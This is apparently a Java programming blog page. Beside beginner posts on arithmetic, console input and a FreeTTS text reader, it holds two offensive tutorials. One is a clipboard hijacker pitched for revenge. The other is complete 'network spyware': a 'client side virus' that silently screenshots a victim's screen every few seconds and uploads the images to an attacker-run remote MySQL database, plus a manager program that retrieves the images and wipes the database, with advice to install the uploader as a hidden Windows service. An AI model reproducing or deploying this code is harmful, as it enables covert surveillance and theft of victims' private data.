Trending
Loading...
  • New Movies
  • Recent Games
  • Tech Review

Tab 1 Top Area

Tech News

Game Reviews

Recent Post

Showing posts with label Java Programme. Show all posts
Showing posts with label Java Programme. Show all posts
Thursday, 13 April 2017
no image

Hijack Clipboard using java

What is Clipboard?


The clipboard is a special location in your computer's memory that temporarily stores data that has been cut or copied from a document. This data can then be pasted to a new location. The clipboard will typically hold its information until you cut or copy something else, or log out of the computer. For example, a user may copy information from a word processor and paste that information into an e-mail message.


What is Clipboard Hijack?


A clipboard hijacking is an exploit in which the attacker gains control of the victim'sclipboard and replaces its contents with their own data, such as a link to a malicious Web site.For more details see here.


Hacking clipboard using java.


Our java code will repeatedly change clipboard text with the hackers text, may be a irritating line ,or a URL to your site.
We will use the Toolkit class to get the system clipboard and then we will use the Clipboard class to change the content of clipboard.

Below is the complete java code .

//code by quadgen
//this code hack the clipboard
import java.awt.*;
import java.awt.datatransfer.*;
class HackTheClipboard
{
static String text = "Your text here";
public static void main(String args[])
{
while(true)
{
Clipboard clipboard ;
StringSelection stringSelection = new StringSelection(text);
try{
clipboard=Toolkit.getDefaultToolkit().getSystemClipboard();
clipboard.setContents(stringSelection, stringSelection);
}
catch(Exception e)
{
/*error may occur if the user and the program both will try to access
 clipboard at the same time just let the code to compile as the clipbrd may be free after 
some time */
                continue;
            }
}
}


}


In the above program you could change the "Your Text Here " with your own text run the program and try to copy paste something you could not be able to do it as the text will change every time.


Inserting image to clipboard 

Above program could only insert text into clipboard and hijack it ,but now the program which you will see will be able to repeatedly insert image to the clipboard.("I you have an enemy or a friend which with you want to take revenge ,then you might have guess what you have to do").



import java.awt.*;
import java.awt.datatransfer.*;

public class ClipboardImage
{

/**
* Place an image on the system clipboard.
*
* @param image - the image to be added to the system clipboard
*/

public static void write(Image image)
{
if (image == null)
throw new IllegalArgumentException ("Image can't be null");

ImageTransferable transferable = new ImageTransferable( image );
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(transferable, null);
}

static class ImageTransferable implements Transferable
{
private Image image;

public ImageTransferable (Image image)
{
this.image = image;
}

public Object getTransferData(DataFlavor flavor)
throws UnsupportedFlavorException
{
if (isDataFlavorSupported(flavor))
{
return image;
}
else
{
throw new UnsupportedFlavorException(flavor);
}
}

public boolean isDataFlavorSupported (DataFlavor flavor)
{
return flavor == DataFlavor.imageFlavor;
}

public DataFlavor[] getTransferDataFlavors ()
{
return new DataFlavor[] { DataFlavor.imageFlavor };
}
}

public static void main(String[] args)
{
while(true)
{
try{
Image image = Toolkit.getDefaultToolkit ().createImage("C:\\Users\\LENOVO-PC\\Downloads\\2.jpg");
ClipboardImage.write( image );
Thread.sleep(1000);//when working with images loop
// needed to be stopped for some time in order to store the image
}
catch(Exception e)
{
continue;
}
}

}
}


In above program replace IMAGEURLHERE with your own image path in client's computer to change the image which will be copied to clipboard(small sized images works better ) or if you want to large sized images then increase the time limit of Thread.sleep(timelimit).
Sunday, 26 March 2017
Creating a network spyware using java

Creating a network spyware using java

According to wikipedia


Spyware is software that aims to gather information about a person or organization without their knowledge, that may send such information to another entity without the consumer's consent, or that asserts control over a device without the consumer's knowledge.
Spyware is basically used to transmit data from host's computer  to the hacker without their prior knowledge.


[Before Starting and going any deep in to the  topic i want to make it very clear that all the programs and coding describe below are for educational purpose only.If it causes any damage to the person who is using it or to the person on whom it is used author or the website takes no responsibility ]


Before Starting 


This tutorial will tell you everything which you will need to make a fully packed spy ware for yourself.
It will provide you with all the program codes and links to the required software's.

What all you need


Before starting here is a checklist of  tools and software you will be needed to make this spyware.

1)Java Development Kit(JDK)
2)MySQl connector for java.:- In order to use sql database in java program.
    NOTE :- you need not to have a MySQL database.If you have it then also it will never be needed.
3)Any java IDE.

Here i am assuming that you have install and configure everything listed above if you have found in any problem in doing so then you could google it.


Spyware's working


Our spyware is simple and could be made easily with less coding.It regularly takes screen capture after a specific interval (may be 5 sec to 10 min per screen shot depending upon database size)  of the client (where you have deploy the virus) and stores it on an online database which is administered by you.
There are two different programs which will work on two different platforms.
1) Our main virus program(Uploader.java) which will capture regular screen shot and upload it to database will run on the  client machine.
2) Our manager program(Manager.java) will run on our machine and it will regularly download the screenshot from database and cleans the database for new screenshots to be uploaded.


Need of an online free SQL database


I am sure that from our spyware working you could have guess out that this virus need a online database to function.Although there are many in the list you have to select a better and faster one with remote connections  available(most important) .
You could google it to find one for you or check this list for top hosting sites.But still i think you should use
Free SQL Database, however it provides only 5 MB of space but it is fast and reliable.

Once you have created you account you can create a database and an email will be send to you with the following details :-

Database Host            : -<Your database host>
Database  Username   :-<Your database username>
Database Password    :-<Your database password>

Just copy it somewhere as you will need it very often.


Designing Our Database 

Our database is very simple and contains only 1 table with 2 column (id ) and (imagedata) where id stores image index and data stores image itself.

Below in your account page there is a link for phpmyadmin click there a login form will be shown as below.



Where ,
                   server is Database Host
                   username is Database Username
                   and Password is Database password which you got from the Hosting site

Once you have successfully login  then on the menu tab ,select your database and then you will find (SQL) menu just click on it and run this sql code.



CREATE TABLE  `images` (
`id` int(10) unsigned NOT NULL auto_increment,

`image` longblob NOT NULL,
PRIMARY KEY (`id`)
);


This will create table images in your database with two columns id and image.

Here comes the end of database designing.

Programming client side virus,Uploder.java

This class uses the Robot class of java to capture screen shot and store it onto the database .
Here is the code for the Uploder.java file.






@author Quadgen -shashank sahu
package databaseVirus;

import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.SQLException;

import javax.imageio.ImageIO;


class Uploder
{

public static Connection getConnection()
{

String driver = "YOUR DATBASE HOST HERE";
String url = "jdbc:mysql://<YOUR DATBSE HOST>:3306/<DATABASE USERNAME>";
String u = "<DATABASE USERNAME>";
String p = "<DATABASE PASSWORD>";
try {
Class.forName(driver);


} catch (ClassNotFoundException e) {

getConnection();
}
Connection conn = null;
try {
conn = DriverManager.getConnection(url, u, p);
}
catch (SQLException e) {
getConnection();

}
return conn;
}
static Connection conn;
public static void main(String args[])throws Exception
{
conn = getConnection();
int fre=10000;//10 seconds, defines screen shot per 10 seconds
while(true)
{
try{



BufferedImage originalImage=getImage();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(originalImage, "jpg", baos);
byte[] imageInByte = baos.toByteArray();
String insertImageSql = "INSERT INTO "
+ "images(image)"
+ " VALUES(?)";
PreparedStatement preparedStatement = conn.prepareStatement(insertImageSql);
preparedStatement.setBytes(1, imageInByte);
preparedStatement.executeUpdate();

Thread.sleep(fre);

}



catch(Exception e)
{
continue;
}



}



}
public static BufferedImage getImage() throws AWTException
{
Dimension screenDim = Toolkit.getDefaultToolkit().getScreenSize();
Robot robot = null;

robot = new Robot();



BufferedImage image = robot.createScreenCapture(new Rectangle(0, 0, (int) screenDim.getWidth(),(int) screenDim.getHeight()));
return image;



}


}
dfdfd

NOTE   

You have to enter your own Database USERNAME and PASSWORD as and when required.
 Also you could change the fre(frequency ) variable as per you requirement don't set it too low                         otherwise you will end your 5 MB space in a minute or two.(Remember 1sec=1000 milli seconds)
The above program is designed in a way if some error occur which might be no internet connection or library load failure or could not capture image or database space is full then it will automatically handel it and by entering into a infinite loop until the exception ends.(E.g. Internet Connection regained).


Programming manager program (Manager.java) 


This program will be executed by the hacker it will clean the database after successfully  downloading and storing  all the  screen shot uploaded by the client.

Manager.java




import java.io.FileOutputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;





public class Manager
{
static int start,end;

public static Connection getConnection()
{
String driver = "YOUR DATBASE HOST HERE";
String url = "jdbc:mysql://<YOUR DATBSE HOST>:3306/<DATABASE USERNAME>";
String u = "<DATABASE USERNAME>";
String p = "<DATABASE PASSWORD>";
try {
Class.forName(driver);


} catch (ClassNotFoundException e) {

getConnection();
}
Connection conn = null;
try {
conn = DriverManager.getConnection(url, u, p);
}
catch (SQLException e) {
getConnection();

}
return conn;
}
static Connection conn;
public static void main()throws Exception
{
conn=getConnection();
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM images");
int id = 0;
start=0;
end=0;
if (rs.next() == false) {
System.out.println("No image is found in database ");

}
else {
start=rs.getInt(1);
do {
id = rs.getInt(1);
byte[] image = rs.getBytes(2);
FileOutputStream fileOutputStream = new FileOutputStream("D:/"+id+".png");
fileOutputStream.write(image);
System.out.println("\nImage successully retrieved from database. Id of image:"+ id );
fileOutputStream.close();
} while (rs.next());
}
end=id;
String sql = "DELETE FROM images " +
"WHERE id<="+id+"";
stmt.executeUpdate(sql);
System.out.print("deleted record "+start+" to "+id);
System.out.print((id-start+1)+"files Downloaded");
stmt.close();
rs.close();
conn.close();

}




}



Packaging and deploying

You could now easily convert your Uploder.java  program into a window service by the tools which are available on net.A window service could run on the host when the computer start and stops when the computer stops.It also runs on the background so there is no need for user interference.
Look here if you want to know how to do that.

Hope this help you if yes then tell more of your friends about it.Enjoy.
Also you could leave comment if you need any help from me.

Saturday, 25 March 2017
no image

Basic calculation in java


                                                 

           Program To Add Two Numbers      

     The basic of programming is to learn simple math operations. However you  need not to be a great mathematician in order to do so.There is a Math class in java which enable you to do so.However here we are not covering it here i am showing you use of different operators in java ,and here we begin with our addition program.

    class Addition
    {

    public static void main(String args[])
    {
    int a,b,sum;  // declaring variables use to store two numbers and sum of it
    a=5;
    b=4;
    sum=a+b;  // "+" operator is used to add the values stored in variables
    System.out.print("The sum of  "+a+" and "+b+" is "+sum);
    }//closing of main()
    }// closing of class


    Output:-


    The sum of  5 and 4 is 9






                  Program To Subtract Two Numbers



    Now here is the program to subtract two numbers.

    class Subtraction
    {
    public static void main(String args[])
    {
    int a,b,sub;  // declaring variables use to store two numbers and difference of it
    a=5;
    b=4;
    sub=a-b;  // "+" operator is used to add the values stored in variables
    System.out.print("The difference of  "+a+" and "+b+" is "+sub);
    }//closing of main()
    }// closing of class


    Output:-


    The difference of  5 and 4 is 1



    TIPS  :-Do you know the difference between subtraction and difference? If i say subtract A from B ,then it means (B - A),notice it can be negative as well as positive depending upon values but if i say find the difference between A and B then you have to decide which one is greater  and then you will subtract ,it will give you the difference which can't be negative. 

                        

                       Program To Multiply Two Numbers

    Now below is the program to multiply two numbers.

    class Multiplication
    {
    public static void main(String args[])
    {
    int a,b,pro;  // declaring variables use to store two numbers and product of it
    a=5;
    b=4;
    pro=a*b;  // "+" operator is used to add the values stored in variables
    System.out.print("The product of  "+a+" and "+b+" is "+pro);
    }//closing of main()
    }// closing of class


    Output:-


    The product of  5 and 4 is 20





                              Program To Divide Two Numbers

    Now here is the program to divide two numbers.

    class Division
    {
    public static void main(String args[])
    {
    int a,b,div;  // declaring variables use to store two numbers and quotient of it
    a=5;
    b=4;
    div=a/b;  // "/" operator is used to divide the values stored in variables
    System.out.print("The quotient of  "+a+" / "+b+" is "+div);
    }//closing of main()
    }// closing of class


    Output:-


    The quotient of  5 / 4 is 1



      If i am not wrong,my dear readers would be thinking that i am poor in maths as i have written that 5 / 4=1
    but let me tell you and explain you this stuff.In java and i think in almost every programming language there is a specific rule to solve division and multiplication.If you have notice 5 is of integer type and so is  4 ,and in java when an integer is either divided or multiplied by an integer the result is always an integer.
    E.g :-
            4 / 3 = 1
            45 / 7= 6
    Fractional part is   ignored only the quotient part is take.Now what to do to take fraction also in account it's simple just convert one to double or floating datatype and the work is done.
    E.g :-
        4 / 3.0=1.33333........
        45.0 / 7=6.428.......

    To make the above program take fractional part into consideration we need to do following changes.(Shown by Blue text)

                               Program To Divide Two Numbers

    Now here is the program to divide two numbers.

    class Division
    {
    public static void main(String args[])
    {
    double a,b,div;  // declaring variables use to store two numbers and quotient of it
    a=5.0;// not a compulsion to write 5.0
    b=4.0;
    div=a/b;  // "/" operator is used to divide the values stored in variables
    System.out.print("The quotient of  "+a+" / "+b+" is "+div);
    }//closing of main()
    }// closing of class


    Output:-


    The quotient of  5 / 4 is 1.25




    The whole stuff can be categorized  as following.


    int     / int    = int          23    / 4   =5
    float /  int    = float      23.0 / 4 =5.75
    int    /  float = float      23    / 4.0=5.75
    float /  float = float      23.0 / 4.0=5.75

    Now if i am not wrong you might have guessed a similar problem in all the above programs,Yes the problem is the above programs do calculation on only two constants i.e. 4 and 5 .So to upgrade these programs  to programs which might give user the feasibility  to enter their own numbers we have a tutorial on Taking User Input. In which i will tell you how to take input from the user through keyboard.



                                                  



    Taking input from user in java

    Taking input from user in java





                                  Taking User Input

    User input is the most basic and the most important action of any application . In our last tutorial we have seen  programs of addition ,subtraction,multiplication and division but the basic problem in all of those program was there was no provision for user input moreover they do calculation on only two specific numbers (4 and 5 in that case) . Now in this page we will see different classes and streams provided in java to take text input from user through console (output screen ) . Lets proceed. . . . .                                                  

    1) Using method (function)call  method                   

     This method is very simple . You just have to put in the variables along with data type in between the paranthesis of the method(function).


    Eg:  <returntype><method name>(datatype1 variable1 ,datatype2 variable 2,. . . . . . )


    Below is a simple program which user the above method to input an integer, an double,a string ,a character and a Boolean value from the user.



    class Input1                        
    {
    public static void main(int a,double b,String str,char ch, boolean flag)//method with parameters to input data from console
    {
    //print the data back on the output screen
    System.out.println("The integer number is "+a);
    System.out.println("The double number is "+b);
    System.out.println("The String is "+str);
    System.out.println("The character is "+ch);
    System.out.println("The boolean value is "+flag);// note boolean value can either be true or false
    }//closing of main()
    }// closing of class

    This program when execute will generate a method call window which will promt user to input the required values and then it will  show the output.      




    2) Using InputStreamReader and BufferedReader classes .


    There two classes provided by java are capable of input any type of text data (int , float ,byte ,short,long ,double ,String , char and boolean) . In order to input data you have to follow there steps :-


    a)   Create the  object of InputStreamReader class and then you have to link it to the object of BufferedReader class this will create a stream which could input data.


        InputStreamReader isr = new InputStreamReader(System.in) ;
           BufferedReader br  = new BufferedReader(isr);

                                                 OR
      BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

    Through above code we have created the object of InputStreamReader (i.e. isr ) and connected it to BufferedReader object (i.e. br) now we can use br to invoke predefined functions  read() and readLine() which will input data from console.

    b) read()- This funcion is used to input a  character from the console.
                                       char ch = (char)br.read();
                     In above code ch is a character variable .Here (char) is to type cast the input of br.read() into                        character type.
       readLine() - This function is used to input a string(i.e. text) from the user.
                               String str= br.readLine();
       In above code str is a String variable and br.readLine() input a string.


    c) In order to convert Text input ie(String ) into other types i.e.(int,float,double ext.) parse is used lets see how .

    Syntax:-  <data type> <variable name>= <DataType_ in _full>.parse<Datatype>(br.readLine());

          Lets see how we can use it to input different data types.
         
         #) To input short integer:
                  short num=Short.parseShort(br.readLine());
         #) To input integer value :
                  int num =Integer.parseInt(br.readLine());
        #)  To input long value :
                  long num=Long.parseLong(br.readLine());
        #)  To input float value:
                  float num=Float.parseFloat(br.readLine());
        #)  To input double value
                  Double num = Double.parseDouble(br.readLine());
        #)  To input boolean value
                  boolean num = Boolean.parseBoolean(br.readLine());

     Now we will make the same program which we have seen in function(method) call method by using this method and let's see the changes.


    import java.io.*; /*Both the classes InputStream and BufferedReader are stored in predefined  io(Input                                                                         output) package so we have to import it*/
    class Input2                                              
    {
    public static void main(String args[])throws IOException// throws the input output exception generated
    {
    int a;//variable to store integer value
    double b;//variable to store double value
    String str;//variable to store String value
    char ch;//variable to store character value
    boolean flag;//variable to store booleanvalue

    BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
    System.out.print("Enter an integer number :");
    a=Integer.parseInt(br.readLine());
    System.out.print("Enter an double number :");
    b=Double.parseDouble(br.readLine());
    System.out.print("Enter an string ");
    str=br.readLine();
    System.out.print("Enter an character ");
    ch=(char)br.read();
    System.out.print("Enter an boolean value ");
    flag=Boolean.parseBoolean(br.readLine());
    System.out.println("The Integer number is "+a);
    System.out.println("The double number is "+b);
    System.out.println("The String is "+str);
    System.out.println("The Character is "+ch);
    System.out.println("The Boolean value is "+flag);
    }//closing of main()
    }// closing of class






    Friday, 24 March 2017
    no image

    Creating a Reader using Java





    Want to create your own reader for your .txt files using java .If yes then you are on the right track.Here you see how to use Free TTS ,A free  API written entirely using Java TM .

    Requirements

    In order to create this reader app you need Free TTS 1.2.2 API you could download it from here

    What the program do ?


    The program given below will prompt you to enter the path of a .txt file in your computer and then it will read the file in a natural human voice for you .

    Reader.java



    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.util.Scanner;
    import com.sun.speech.freetts.Voice;
    import com.sun.speech.freetts.VoiceManager;

    public class Reader {

    // Some available voices are (kevin, kevin16, alan)
    private static final String VOICE_NAME_KEVIN = "kevi";
    private final Voice voice;

    public Reader() {

    VoiceManager vm = VoiceManager.getInstance();
    voice = vm.getVoice(VOICE_NAME_KEVIN);
    voice.allocate();
    }

    public void speak(File file) {

    if(file != null) {

    FileInputStream inputStream = null;
    try {

    inputStream = new FileInputStream(file);
    voice.speak(inputStream);

    } catch (FileNotFoundException e) {
    voice.speak("Hey!it seems that the file does not exists.");
    System.out.println(e.getMessage());
    e.printStackTrace();
    }
    }
    }

    public static void main(String args[])
    {
    Scanner sc=new Scanner(System.in);
    System.out.print("Enter full path to the file(.txt):-");
    String path=sc.nextLine();
    File file = new File(path);

    Reader r= new Reader();

    // Passing file object as argument
    r.speak(file);

    System.out.println("Reading is over!!!!");

    }
    }


    Output:-


    Enter full path to the file(.txt):-D:/welcome.txt
    Reading is over!!!!


    Please keep tuned if you like this on my upcoming tutorial we will learn how could we create a simple GUI for this java app,which will consists of a JFileChooser ,a pause and resume button and a dropdown to select through the available voices. 
    Copyright © 2012 gogfmj All Right Reserved
    Designed by Odd Themes - Published By Blogger Templates20
    Back To Top